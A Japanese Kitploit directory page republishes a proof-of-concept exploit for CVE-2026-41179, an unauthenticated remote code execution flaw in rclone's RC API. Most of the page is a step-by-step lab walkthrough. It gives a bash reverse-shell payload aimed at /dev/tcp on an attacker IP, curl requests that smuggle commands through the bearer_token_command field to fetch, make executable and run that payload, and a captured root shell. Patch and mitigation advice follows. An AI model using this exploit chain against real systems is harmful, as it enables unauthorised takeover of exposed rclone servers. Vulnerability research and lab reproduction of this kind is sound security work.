Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-41179 — CVE-2026-41179 の POC | Kitploit
ツール/GitHubGitHub/pssec-io/cve-2026-41179
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育ペイロード開発ラボと実践
GitHubpssec-io/cve-2026-41179

CVE-2026-41179

CVE-2026-41179 の POC

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-41179 — rclone RC API 未認証RCE

⚠️ 教育目的専用 このリポジトリは、セキュリティ研究、教育、および許可されたラボ環境でのみ使用することを目的としています。PSSecおよびこのリポジトリの貢献者は、ここに含まれる情報、コード、または手法の不正、違法、または悪意のある使用を容認、支持、または一切の責任を負いません。このリポジトリを使用することにより、あなたは自己の行動に単独で責任を負い、所有するシステムまたは明示的な書面による許可を得たシステムに対してのみテストを行うことに同意したものとみなされます。


概要

CVE-2026-41179 は、rcloneの組み込みRemote Control (RC) APIにおける重大な未認証リモートコード実行 (RCE) 脆弱性であり、バージョン 1.48.0から1.73.4 に影響します。

詳細値
CVECVE-2026-41179
CVSSスコア9.8 (重大)
影響を受けるバージョンrclone 1.48.0 – 1.73.4
パッチ適用バージョンrclone 1.73.5
コンポーネントRC API (/operations/fsinfo エンドポイント)
攻撃ベクトルネットワーク — 認証不要

仕組み

rcloneには、組み込みのHTTPリモートコントロールインターフェース(rcd)が搭載されています。/operations/fsinfo エンドポイントは、ユーザーが指定した fs= 文字列を受け取り、解析されてバックエンド(WebDAVバックエンドを含む)のインスタンス化に使用されます。WebDAVバックエンドは bearer_token_command パラメータをサポートしており、これはサニタイズされずに直接 exec.Command() に渡されます。このエンドポイントはデフォルトで認証が不要なため、認証されていない攻撃者はrcloneプロセスのユーザーとして任意のOSコマンドを実行できます。

攻撃チェーンの概要:

root@kitploit:~
POST /operations/fsinfo (no auth)
  → rc.GetFs() parses attacker-controlled fs= string
    → WebDAV backend instantiated with attacker params
      → bearer_token_command extracted
        → exec.Command() fires OS command
          → RCE as rclone process user

リポジトリ構成

root@kitploit:~
CVE-2026-41179/
├── Dockerfile.rclone          # 脆弱なrcloneイメージ (v1.69.3)
├── patched.Dockerfile.rclone  # パッチ適用済みrcloneイメージ (v1.73.5)
├── poc.sh                     # リバースシェルペイロード
└── instructions               # ステップバイステップのラボウォークスルー

ラボのセットアップとエクスプロイト(ステップバイステップ)

前提条件

  • Docker
  • リスナー: penelope または netcat
  • Python 3(ペイロード配信用)

ステップ1 — 脆弱なDockerイメージをビルドする

root@kitploit:~
docker build -t rclone-vuln -f Dockerfile.rclone .

Debian-slimコンテナをビルドし、rclone v1.69.3を実行し、RC APIをポート5572で公開します。


ステップ2 — 脆弱なコンテナを実行する

root@kitploit:~
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln

RC APIは認証なしで http://127.0.0.1:5572 からアクセス可能になりました。


ステップ3 — リスナーを起動する

root@kitploit:~
penelope -p 5555
# OR
nc -lvnp 5555

ステップ4 — リバースシェルペイロードを設定する

poc.shを編集し、攻撃者のIPとリスニングポートを設定します:

root@kitploit:~
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1

ステップ5 — ペイロードをHTTPで配信する

poc.shと同じディレクトリからこれを実行します:

root@kitploit:~
python3 -m http.server 8888

ステップ6 — ペイロードをターゲットにダウンロードする

root@kitploit:~
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'

ステップ7 — ペイロードを実行可能にする

root@kitploit:~
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'

ステップ8 — ペイロードを実行する

root@kitploit:~
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'

ステップ9 — シェルを取得する

リスナーを確認してください — コンテナからrootシェルが受信されるはずです:

root@kitploit:~
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root

ステップ10 — パッチを確認する

パッチ適用イメージを使用してステップ1〜8を繰り返し、脆弱性が修正されたことを確認します:

root@kitploit:~
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched

同じ curl リクエストをポート 5573 に送信します — コマンドは実行されないはずです。


修正方法

  • rcloneをv1.73.5以降にアップグレードする — デフォルトですべてのRCエンドポイントで認証が強制されるようになりました。
  • すぐにアップグレードできない場合は、rcdを--rc-userおよび--rc-passフラグで起動して、認証情報を要求します。
  • ファイアウォールルールを使用してRCポート(5572)へのネットワークアクセスを制限します — 信頼されていないネットワークに公開してはいけません。
  • 起動スクリプトで明示的に--rc-no-auth=false(パッチ適用バージョンでの新しいデフォルト)を使用することを検討してください。

免責事項

このリポジトリは教育および許可されたセキュリティ研究目的のみで提供されています。概念実証コードは、管理されたDockerラボ環境における実際の脆弱性を示しています。

PSSecおよびすべての貢献者:

  • システム所有者からの明示的な書面による許可なしにシステムの悪用を認可または奨励しません。
  • この資料の使用に起因する損害、データ損失、法的結果、または誤用について一切責任を負いません。
  • すべてのテストは、所有しているか、明示的にテストを許可された隔離されたラボ環境でのみ実施することを推奨します。

本コードを本番システムまたは所有していないシステムに対して不正に使用すると、お住まいの地域のコンピュータ詐欺およびサイバー犯罪法に違反する可能性があります。


CVE-2026-41179 — PSSecによる研究

ツールをダウンロード